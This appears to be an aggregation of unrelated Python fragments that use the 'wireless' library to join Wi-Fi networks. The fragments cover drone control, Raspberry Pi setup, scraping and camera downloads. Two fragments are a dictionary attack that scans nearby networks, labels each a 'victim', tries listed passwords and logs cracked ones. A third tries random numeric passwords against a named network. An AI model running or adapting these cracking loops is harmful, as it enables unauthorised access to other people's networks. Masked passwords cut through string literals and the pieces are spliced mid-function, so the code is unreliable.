"SSID: {0} found".format(self.ssid) break while(True): if self.wireless.current() != self.ssid: print "Connecting..." try: threading.Timer(5, self.timeout).start() self.wireless.connect(ssid=ssid_osx, password=self.password) except: break if self.wireless.current() == self.ssid: print "Connected to: {0}".format(self.ssid) break def ssid_list(self): cmd = '/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s' p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT, close_fds=True) output = p.stdout.read() output = str(output) return output def find_ssid(self): while(True): ssid_list = self.ssid_list() num = int(ssid_list.find(self.ssid)) if num >= 0: return type(num) is int if num < 0: print "Searching for SSID: {0}".format(self.ssid) continue break def timeout(self): thread.interrupt_main() def connect_windows(self): print "Doesn't currently support Windows"
print "created not berry" state = 3 size = len(ref.get()) arr = ref.get() stats = [] new_stats = [] for i in range(1, size): stats.append(ref.child(str(i)).child('status').get()) isc = False if state == 3: while (state != 4): if cv2.waitKey(1) == ord('u'): send(7) if wireless.current() != 'TELLO-AA1A76': wireless.connect(ssid='TELLO-AA1A76', password='') state = 5 break new_stats[:] = [] ref = db.reference('/berries') for i in range(1, size): new_stats.append(ref.child(str(i)).child('status').get()) print("new status", new_stats) dif = len(new_stats) - len(stats) for i in range(dif): stats.append('') for i in range(len(new_stats)): if not (stats[i] != None and new_stats[i] != None and int(new_stats[i]) == int(stats[i])): #print("Found difference")
def connect_to_wireless(self): wifi = Wireless() booly = wifi.connect(ssid=self.ssid, password=self.password) return booly
def connect_wifi(): wireless = Wireless() wireless.connect(ssid='WIFIonICE', password=False)
subprocess.call(["airport -s -x>ssids.xml"], shell=True) f= open('Results.txt', 'a') f2= open('Done.txt', 'a') result = plistlib.readPlist('ssids.xml') print 'Already done: ', dones i = 0 # ------ Going to scan for elem in result: victim = elem.get('SSID_STR') if (victim not in dones) and (is_present(victim)): j = 0 print 'The ',i, ' victim is: ', victim for pswd in lines: print 'Trying pass: '******'Connected !!! with pass: '******'NegaTNetwork', password=''): wireless.connect(ssid='wifinet1', password='') f.write(victim) f.write(' ') f.write(pswd) f.write('\n') f2.write(victim) f2.write('\n') break else: j=j+1 i = i + 1 f2.write(victim) f2.write('\n') print '------------', i , ' Networks processed'
def setWifi(sattg, interface="wlan0"): wire = Wireless(interface) return {"status": wire.connect(ssid=sattg[0], password=sattg[1])}
from wireless import Wireless wifi = Wireless() batman = wifi.connect(ssid="MaTofu", password="******") print(batman)
#--- running setting ---# ticker = "krw-btc" # be careful with the form! from_ = "2013-04-10 00:00:00" to_ = "2019-07-28 00:00:00" dataSaveFolder = "./minutesData" dataSaveFile = "./minutesData/"+ticker+".csv" if not os.path.isdir(dataSaveFolder): os.mkdir(dataSaveFolder) #--- wifi initializing ---# if linux: wire.connect(ssid=wifi[1], password= pw[1]) time.sleep(3) #--- session initializing ---# session = r.Session() ua = UserAgent() http_header = { #by using ua.random, we can get random user agent. it prevents IP blocking 'user-agent': str(ua.random), 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7' } session.headers.update(http_header)
from concurrent.futures import ThreadPoolExecutor import socket from wireless import Wireless from datetime import datetime import matplotlib.pyplot as plt # Connect device to access point wireless = Wireless() wireless.connect("0000010111111111100110011001100100000000", "12345678") # Connect client to node TCP_IP = '192.168.1.1' TCP_PORT = 3000 BUFFER_SIZE = 1024 MESSAGE = "return 'OK'; " s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TCP_IP, TCP_PORT)) def single_socket(): # Minimal overhead: Return immediately, calculate overhead start = datetime.now() s.send(MESSAGE.encode()) data = s.recv(BUFFER_SIZE) stop = datetime.now() overhead = int((stop - start).total_seconds() * 1000) print("Received data: ", data.decode()) print("Overhead: ", overhead) # Result: 424 ms return overhead
data_1 = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '-', '=', '+', '[', ']', '{', '}', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' ] #conn=wireless.connect(ssid=name, password=random.choice(tuple(data_1))) for i in range(0, 1): while not True: data_2 = str(random.randint(0, 10)) + str(random.randint(0, 10)) + str( random.randint(0, 10)) + str(random.randint(0, 10)) + str( random.randint(0, 10)) + str(random.randint(0, 10)) + str( random.randint(0, 10)) + str(random.randint(0, 10)) print(data_2) while print(wireless.connect(ssid=name, password=data_2)) == True: pass_ac = random.choice(data_2) print(pass_ac) #Hit and trial """ while True: data_2=str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) print(data_2) while print(wireless.connect(ssid=name, password=data_2))==True: pass_ac=random.choice(tuple(data_2)) print(pass_ac) data_2=str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) +str(random.randint(0,10)) print(data_2) """
#Variable con caracteres que forman parte del nombre de las imagenes expression = r'"(\w+.JPG)"' #Creando un patron con esos caracteres pattern = re.compile(expression) #Buscando en el contenido de la url el patron que corresponde al nombre de las imagenes #Los ultimos 10 nombres se guardan en la variable photos como una lista photos = re.findall(pattern, r.content)[-10:] #Contador para el nombre de las imagenes photoCount = 1 #Creando carpeta de la camara if not os.path.exists(cam): os.makedirs(cam) #Recorriendo la lista de nombres for item in photos: print photoCount #Descargando las imagenes image.retrieve(adress+item, cam+"/"+str(photoCount)+".jpg") photoCount = photoCount + 1 return; for camera in cameras: print camera print "--------------------" wifi.connect(ssid=camera, password='******') time.sleep(7) getImages(camera)
from wireless import Wireless wiredin = Wireless() if wiredin.connect(ssid="MajesticTofu", password="******"): print("You are in")
port='/dev/ttyUSB0', baudrate = 9600, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, bytesize=serial.EIGHTBITS, timeout=1 ) while 1: try: data = serialSocket.readline() wireless = Wireless() zero,first,second = data.split(',') if (zero == "network"): print("ssid: "+first+ " pass: "******"Conectando a internet.") if (internet_on()): add_to_file(data); print("Conectado a internet.") serialSocket.write("Datos Correctos") os.system("echo \"$(date '+%Y/%M/%D %H:%M:%S')-> Conetado a la red brindada\" >> /home/pi/Desktop/log.txt") break; else: print("No conectado a internet.") os.system("echo \"$(date '+%Y/%M/%D %H:%M:%S')-> No conectada a la red brindada\" >> /home/pi/Desktop/log.txt") serialSocket.write("No se pudo conectar a esa red") else: print("user: "******" pass: "******"echo \""+first+","+second+"\" > /home/pi/Desktop/obibaby/user.txt")
subprocess.call(["airport -s -x>ssids.xml"], shell=True) f = open('Results.txt', 'a') f2 = open('Done.txt', 'a') result = plistlib.readPlist('ssids.xml') print 'Already done: ', dones i = 0 # ------ Going to scan for elem in result: victim = elem.get('SSID_STR') if (victim not in dones) and (is_present(victim)): j = 0 print 'The ', i, ' victim is: ', victim for pswd in lines: print 'Trying pass: '******'Connected !!! with pass: '******'NegaTNetwork', password=''): wireless.connect(ssid='wifinet1', password='') f.write(victim) f.write(' ') f.write(pswd) f.write('\n') f2.write(victim) f2.write('\n') break else: j = j + 1 i = i + 1 f2.write(victim) f2.write('\n')
from wireless import Wireless wireless = Wireless() #name of network to connect to ssid_name = str(raw_input("Enter wifi name: ")) #password for respective network password_name = str(raw_input("Enter Password: ")) #connect to network (might want to put in a sleep for #a few seconds afte this to ensure connection before #running any commands #added comment wireless.connect(ssid = ssid_name, password = password_name)
from wireless import Wireless wifi = Wireless() batman = wifi.connect(ssid="MajesticTofu", password="******") print(batman)
#Set Threading variables global active active = False global LEDThread LEDThread = threading.Thread(name='lightThread', target=LEDControl) LEDThread.start() os.system('cp /home/pi/share/Template_Settings.txt /home/pi/dropoff/') now = datetime.datetime.now() print("Trying to connect to previous wifi settings") #Connect to Wifi SSID, WifiPassword, FacebookEmail, FacebookPassword = ReadSettings() wireless = Wireless() wireless.connect(ssid=SSID, password=WifiPassword) time.sleep(3) if os.system('ping -c 1 google.com') != 0: print("Could not connet to previous wifi") print("Checking for Setup Wifi \nSSID: Tardis" "\nPassword: Tardis12345") #Connect to Wifi wireless.connect(ssid='Tardis', password='******') print("completed wifi Tardis wifi setup") #Check if connected print("Checking if found the Tardis Setup wifi") time.sleep(3) disconnected = True wiringpi.pwmWrite(LED, 800) # ON
os.system("sudo python /home/pi/Desktop/obibaby/src/server-bluetooth.py & disown") if (internet_off()): file = open('/home/pi/Desktop/networks.txt', 'r') text = file.read() list = text.split('\n') for item in list: try: os.system("echo \"$(date '+%Y/%M/%D %H:%M:%S')-> Red: "+item+"\" >> /home/pi/Desktop/log.txt") print item os.system("echo \"$(date '+%Y/%M/%D %H:%M:%S')-> Antes del wireless\" >> /home/pi/Desktop/log.txt") wireless = Wireless() bssid,psk = item.split(",") print("ssid: "+bssid+ " pass: "******"echo \"$(date '+%Y/%M/%D %H:%M:%S')-> Red: Intento\" >> /home/pi/Desktop/log.txt") if (internet_on()): print("Conected") os.system("echo \"$(date '+%Y/%M/%D %H:%M:%S')-> Red: Conectado\" >> /home/pi/Desktop/log.txt") os.system("echo '' >> /home/pi/Desktop/log.txt") break os.system("echo \"$(date '+%Y/%M/%D %H:%M:%S')-> Red: No conectado\" >> /home/pi/Desktop/log.txt") os.system("echo '' >> /home/pi/Desktop/log.txt") except: print "Not connected or invalid input, mi cuate" continue else: os.system("echo \"$(date '+%Y/%M/%D %H:%M:%S')-> Red: Esta conectado...\" >> /home/pi/Desktop/log.txt") os.system("sudo update_data & update_streaming")